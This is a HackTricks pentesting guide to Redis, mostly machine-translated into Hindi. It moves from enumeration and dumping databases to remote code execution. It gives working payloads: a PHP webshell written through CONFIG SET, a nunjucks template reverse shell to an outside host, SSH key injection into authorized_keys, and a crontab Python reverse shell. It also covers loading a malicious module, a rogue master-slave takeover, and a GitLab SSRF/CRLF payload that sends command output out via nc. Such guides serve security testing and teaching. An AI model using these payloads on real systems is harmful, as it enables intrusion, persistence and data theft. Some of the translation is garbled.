6379 - Pentesting Redis

Reading time: 14 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Basic Information

From the docs: Redis एक ओपन सोर्स (BSD लाइसेंस प्राप्त), इन-मेमोरी डेटा स्ट्रक्चर स्टोर है, जिसका उपयोग डेटाबेस, कैश और संदेश ब्रोकर के रूप में किया जाता है।

डिफ़ॉल्ट रूप से Redis एक प्लेन-टेक्स्ट आधारित प्रोटोकॉल का उपयोग करता है, लेकिन आपको ध्यान में रखना चाहिए कि यह ssl/tls को भी लागू कर सकता है। जानें कि ssl/tls के साथ Redis कैसे चलाएं यहाँ

डिफ़ॉल्ट पोर्ट: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatic Enumeration

कुछ स्वचालित उपकरण जो redis उदाहरण से जानकारी प्राप्त करने में मदद कर सकते हैं:

bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

मैनुअल एन्यूमरेशन

बैनर

Redis एक पाठ आधारित प्रोटोकॉल है, आप बस एक सॉकेट में कमांड भेज सकते हैं और लौटाए गए मान पढ़ने योग्य होंगे। यह भी याद रखें कि Redis ssl/tls का उपयोग करके चल सकता है (लेकिन यह बहुत अजीब है)।

एक नियमित Redis उदाहरण में आप बस nc का उपयोग करके कनेक्ट कर सकते हैं या आप redis-cli का भी उपयोग कर सकते हैं:

bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

पहला कमांड जिसे आप आजमा सकते हैं वह है info। यह Redis इंस्टेंस की जानकारी के साथ आउटपुट वापस कर सकता है या कुछ इस प्रकार का आउटपुट लौटाया जा सकता है:

-NOAUTH Authentication required.

इस अंतिम मामले में, इसका मतलब है कि आपको Redis उदाहरण तक पहुँचने के लिए मान्य क्रेडेंशियल्स की आवश्यकता है

Redis प्रमाणीकरण

डिफ़ॉल्ट रूप से Redis को बिना क्रेडेंशियल्स के एक्सेस किया जा सकता है। हालाँकि, इसे केवल पासवर्ड, या उपयोगकर्ता नाम + पासवर्ड का समर्थन करने के लिए कॉन्फ़िगर किया जा सकता है।
आप redis.conf फ़ाइल में requirepass पैरामीटर के साथ एक पासवर्ड सेट कर सकते हैं या अस्थायी जब तक सेवा को पुनः प्रारंभ नहीं किया जाता है, इसे कनेक्ट करके और चलाकर: config set requirepass p@ss$12E45
इसके अलावा, redis.conf फ़ाइल के अंदर masteruser पैरामीटर में एक उपयोगकर्ता नाम को कॉन्फ़िगर किया जा सकता है।

note

यदि केवल पासवर्ड कॉन्फ़िगर किया गया है, तो उपयोगकर्ता नाम जोड़ा गया है "default"।
इसके अलावा, ध्यान दें कि यह बाहरी रूप से पता लगाने का कोई तरीका नहीं है कि क्या Redis को केवल पासवर्ड या उपयोगकर्ता नाम + पासवर्ड के साथ कॉन्फ़िगर किया गया था।

ऐसे मामलों में आपको Redis के साथ इंटरैक्ट करने के लिए मान्य क्रेडेंशियल्स खोजने की आवश्यकता होगी ताकि आप इसे brute-force करने की कोशिश कर सकें।
यदि आपने मान्य क्रेडेंशियल्स पाए हैं, तो आपको कनेक्शन स्थापित करने के बाद सत्र को प्रमाणित करने की आवश्यकता है कमांड के साथ:

bash
AUTH <username> <password>

मान्य क्रेडेंशियल्स का उत्तर दिया जाएगा: +OK

प्रमाणित गणना

यदि Redis सर्वर गुमनाम कनेक्शनों की अनुमति देता है या यदि आपने मान्य क्रेडेंशियल्स प्राप्त कर लिए हैं, तो आप निम्नलिखित कमांड्स का उपयोग करके सेवा के लिए गणना प्रक्रिया शुरू कर सकते हैं:

bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

अन्य Redis कमांड यहां मिल सकते हैं और यहां.

ध्यान दें कि एक उदाहरण के Redis कमांड को नामित किया जा सकता है या redis.conf फ़ाइल में हटा दिया जा सकता है। उदाहरण के लिए, यह पंक्ति कमांड FLUSHDB को हटा देगी:

rename-command FLUSHDB ""

More about configuring securely a Redis service here: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

You can also वास्तविक समय में Redis कमांड्स की निगरानी करें जो monitor कमांड के साथ निष्पादित होते हैं या slowlog get 25 के साथ शीर्ष 25 सबसे धीमे क्वेरीज़ प्राप्त करें।

Find more interesting information about more Redis commands here: https://lzone.de/cheat-sheet/Redis

Dumping Database

Inside Redis the databases are numbers starting from 0. You can find if anyone is used in the output of the command info inside the "Keyspace" chunk:

Or you can just get all the keyspaces (databases) with:

INFO keyspace

इस उदाहरण में डेटाबेस 0 और 1 का उपयोग किया जा रहा है। डेटाबेस 0 में 4 कीज़ हैं और डेटाबेस 1 में 1 है। डिफ़ॉल्ट रूप से Redis डेटाबेस 0 का उपयोग करेगा। उदाहरण के लिए डेटाबेस 1 के लिए डंप करने के लिए आपको करना होगा:

bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

यदि आप GET <KEY> चलाते समय निम्नलिखित त्रुटि प्राप्त करते हैं -WRONGTYPE Operation against a key holding the wrong kind of value तो इसका कारण यह हो सकता है कि कुंजी एक स्ट्रिंग या पूर्णांक के अलावा कुछ और हो और इसे प्रदर्शित करने के लिए एक विशेष ऑपरेटर की आवश्यकता होती है।

कुंजी के प्रकार को जानने के लिए, TYPE कमांड का उपयोग करें, नीचे सूची और हैश कुंजी के लिए उदाहरण है।

bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

npm के साथ डेटाबेस डंप करें redis-dump या python redis-utils

Redis RCE

इंटरएक्टिव शेल

redis-rogue-server स्वचालित रूप से Redis(<=5.0.5) में एक इंटरएक्टिव शेल या एक रिवर्स शेल प्राप्त कर सकता है।

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Info from here. आपको वेब साइट फ़ोल्डर का पथ पता होना चाहिए:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

यदि वेबशेल एक्सेस अपवाद है, तो आप बैकअप के बाद डेटाबेस को खाली कर सकते हैं और फिर से प्रयास कर सकते हैं, याद रखें कि डेटाबेस को पुनर्स्थापित करना है।

टेम्पलेट वेबशेल

जैसे पिछले अनुभाग में, आप कुछ html टेम्पलेट फ़ाइल को भी ओवरराइट कर सकते हैं जिसे एक टेम्पलेट इंजन द्वारा व्याख्यायित किया जाएगा और एक शेल प्राप्त कर सकते हैं।

उदाहरण के लिए, इस लेख का पालन करते हुए, आप देख सकते हैं कि हमलावर ने nunjucks टेम्पलेट इंजन द्वारा व्याख्यायित एक rev shell in an html इंजेक्ट किया:

javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

warning

ध्यान दें कि कई टेम्पलेट इंजन टेम्पलेट्स को मेमोरी में कैश करते हैं, इसलिए यदि आप उन्हें ओवरराइट करते हैं, तो नया निष्पादित नहीं होगा। इन मामलों में, या तो डेवलपर ने स्वचालित पुनः लोड सक्रिय रखा है या आपको सेवा पर DoS करना होगा (और उम्मीद करनी होगी कि इसे स्वचालित रूप से फिर से लॉन्च किया जाएगा)।

SSH

Example from here

कृपया ध्यान दें कि config get dir का परिणाम अन्य मैन्युअल रूप से शोषण कमांड के बाद बदल सकता है। सुझाव है कि इसे Redis में लॉगिन करने के तुरंत बाद पहले चलाएं। config get dir के आउटपुट में आप redis user का home पा सकते हैं (आमतौर पर /var/lib/redis या /home/redis/.ssh) और यह जानकर आप जानते हैं कि आप authenticated_users फ़ाइल को ssh के साथ redis उपयोगकर्ता के माध्यम से कैसे लिख सकते हैं। यदि आप किसी अन्य मान्य उपयोगकर्ता का होम जानते हैं जहाँ आपके पास लिखने की अनुमति है, तो आप इसका भी दुरुपयोग कर सकते हैं:

  1. अपने पीसी पर एक ssh सार्वजनिक-निजी कुंजी जोड़ी उत्पन्न करें: ssh-keygen -t rsa
  2. सार्वजनिक कुंजी को एक फ़ाइल में लिखें: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. फ़ाइल को redis में आयात करें: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Redis सर्वर पर authorized_keys फ़ाइल में सार्वजनिक कुंजी को सहेजें:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. अंततः, आप निजी कुंजी के साथ redis server पर ssh कर सकते हैं: ssh -i id_rsa redis@10.85.0.52

यह तकनीक यहाँ स्वचालित है: https://github.com/Avinash-acid/Redis-Server-Exploit

अतिरिक्त रूप से, सिस्टम उपयोगकर्ताओं को config set dir /home/USER के साथ जांच करके भी खोजा जा सकता है, और पुष्टि के बाद, एक नया authorized_keys /home/USER/.ssh/authorized_keys में लिखा जा सकता है। redis-rce-ssh का उपयोग करें ताकि इसे उपयोगकर्ता नामों की शब्द सूची के साथ ब्रूटफोर्स किया जा सके और authorized_keys को ओवरराइट किया जा सके।

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

अंतिम उदाहरण Ubuntu के लिए है, Centos के लिए, उपरोक्त कमांड होनी चाहिए: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

यह विधि बिटकॉइन कमाने के लिए भी उपयोग की जा सकती है :yam

Redis मॉड्यूल लोड करें

  1. https://github.com/n0b0dyCN/RedisModules-ExecuteCommand से निर्देशों का पालन करते हुए आप मनमाने कमांड निष्पादित करने के लिए एक redis मॉड्यूल संकलित कर सकते हैं
  2. फिर आपको संकीर्णित मॉड्यूल को अपलोड करने का कोई तरीका चाहिए।
  3. रनटाइम पर MODULE LOAD /path/to/mymodule.so के साथ अपलोड किए गए मॉड्यूल को लोड करें
  4. यह जांचने के लिए कि यह सही ढंग से लोड हुआ है, लोड किए गए मॉड्यूल की सूची बनाएं: MODULE LIST
  5. कमांड निष्पादित करें:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. जब चाहें मॉड्यूल को अनलोड करें: MODULE UNLOAD mymodule

LUA सैंडबॉक्स बायपास

यहां आप देख सकते हैं कि Redis कमांड EVAL का उपयोग Lua कोड सैंडबॉक्स करने के लिए करता है। लिंक किए गए पोस्ट में आप देख सकते हैं कैसे इसका दुरुपयोग करें dofile फ़ंक्शन का उपयोग करके, लेकिन स्पष्ट रूप से यह अब संभव नहीं है। किसी भी तरह, यदि आप Lua सैंडबॉक्स को बायपास कर सकते हैं तो आप सिस्टम पर मनमाने कमांड निष्पादित कर सकते हैं। इसके अलावा, उसी पोस्ट से आप कुछ विकल्प देख सकते हैं जो DoS का कारण बनते हैं

LUA से बचने के लिए कुछ CVEs:

मास्टर-गुलाम मॉड्यूल

​मास्टर redis सभी ऑपरेशनों को स्वचालित रूप से गुलाम redis पर समन्वयित करता है, जिसका अर्थ है कि हम कमजोर redis को एक गुलाम redis के रूप में मान सकते हैं, जो मास्टर redis से जुड़ा है जिसे हम नियंत्रित करते हैं, फिर हम अपने redis में कमांड दर्ज कर सकते हैं।

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF talking to Redis

यदि आप स्पष्ट पाठ अनुरोध Redis को भेज सकते हैं, तो आप इसके साथ संवाद कर सकते हैं क्योंकि Redis अनुरोध को पंक्ति दर पंक्ति पढ़ेगा और केवल उन पंक्तियों के लिए त्रुटियों के साथ प्रतिक्रिया देगा जिन्हें वह नहीं समझता:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

इसलिए, यदि आप एक SSRF vuln एक वेबसाइट में पाते हैं और आप कुछ headers (शायद एक CRLF vuln के साथ) या POST parameters को control कर सकते हैं, तो आप Redis को मनमाने कमांड भेजने में सक्षम होंगे।

उदाहरण: Gitlab SSRF + CRLF से Shell

Gitlab11.4.7 में एक SSRF सुरक्षा कमजोरी और एक CRLF का पता चला। SSRF सुरक्षा कमजोरी नया प्रोजेक्ट बनाने के लिए URL से प्रोजेक्ट आयात करने की कार्यक्षमता में थी और इसने [0:0:0:0:0:ffff:127.0.0.1] (यह 127.0.0.1 को एक्सेस करेगा) के रूप में मनमाने IPs तक पहुंचने की अनुमति दी, और CRLF vuln का शोषण केवल URL में %0D%0A वर्ण जोड़कर किया गया।

इसलिए, Redis उदाहरण से बात करने के लिए इन कमजोरियों का दुरुपयोग करना संभव था जो gitlab से queues का प्रबंधन करता है और उन queues का दुरुपयोग करके कोड निष्पादन प्राप्त करना। Redis queue abuse payload है:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

और URL encode अनुरोध SSRF और CRLF का दुरुपयोग करके whoami निष्पादित करने और आउटपुट को nc के माध्यम से वापस भेजने के लिए:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

किसी कारण से (जैसा कि https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ जहां से यह जानकारी ली गई थी) शोषण git स्कीम के साथ काम करता था और http स्कीम के साथ नहीं।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें